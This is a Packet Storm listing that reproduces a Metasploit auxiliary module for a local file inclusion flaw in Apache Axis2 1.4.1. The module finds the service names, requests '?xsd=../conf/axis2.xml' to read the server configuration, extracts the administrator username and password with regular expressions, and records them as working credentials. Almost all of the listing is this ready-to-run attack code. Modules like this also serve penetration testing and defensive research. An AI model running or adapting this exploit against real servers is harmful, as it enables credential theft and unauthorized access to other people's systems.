what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Axis2 1.4.1 Local File Inclusion

Apache Axis2 1.4.1 Local File Inclusion
Posted Sep 1, 2024
Authored by Tiago Ferreira | Site metasploit.com

This Metasploit module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability. By loading a local XML file which contains a cleartext username and password, attackers can trivially recover authentication credentials to Axis services.

tags | exploit, local, file inclusion
SHA-256 | 50104ff91cd322fe465188779cfaa98819e42e8898505fa53d0efc5a47d67e68

Apache Axis2 1.4.1 Local File Inclusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner


def initialize
super(
'Name' => 'Apache Axis2 v1.4.1 Local File Inclusion',
'Description' => %q{
This module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability.
By loading a local XML file which contains a cleartext username and password, attackers can trivially
recover authentication credentials to Axis services.
},
'References' =>
[
['EDB', '12721'],
['OSVDB', '59001'],
],
'Author' =>
[
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
],
'License' => MSF_LICENSE
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']),
])
end

def run_host(ip)
uri = normalize_uri(target_uri.path)

begin
res = send_request_raw({
'method' => 'GET',
'uri' => uri,
}, 25)

if (res and res.code == 200)
res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)
new_uri = normalize_uri("/axis2/services/#{$1}")
get_credentials(new_uri)

else
print_status("#{full_uri} - Apache Axis - The remote page not accessible")
return

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE

end
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

def get_credentials(uri)
lfi_payload = "?xsd=../conf/axis2.xml"

begin
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}" + lfi_payload,
}, 25)

print_status("#{full_uri} - Apache Axis - Dumping administrative credentials")

if res.nil?
print_error("#{full_uri} - Connection timed out")
return
end

if (res.code == 200)
if res.body.to_s.match(/axisconfig/)

res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
username = $1
res.body.scan(/parameter\sname=\"password\">([^\s]+)</)
password = $1

print_good("#{full_uri} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")

report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body)

else
print_error("#{full_uri} - Apache Axis - Not Vulnerable")
return :abort
end

else
print_error("#{full_uri} - Apache Axis - Unrecognized #{res.code} response")
return :abort

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close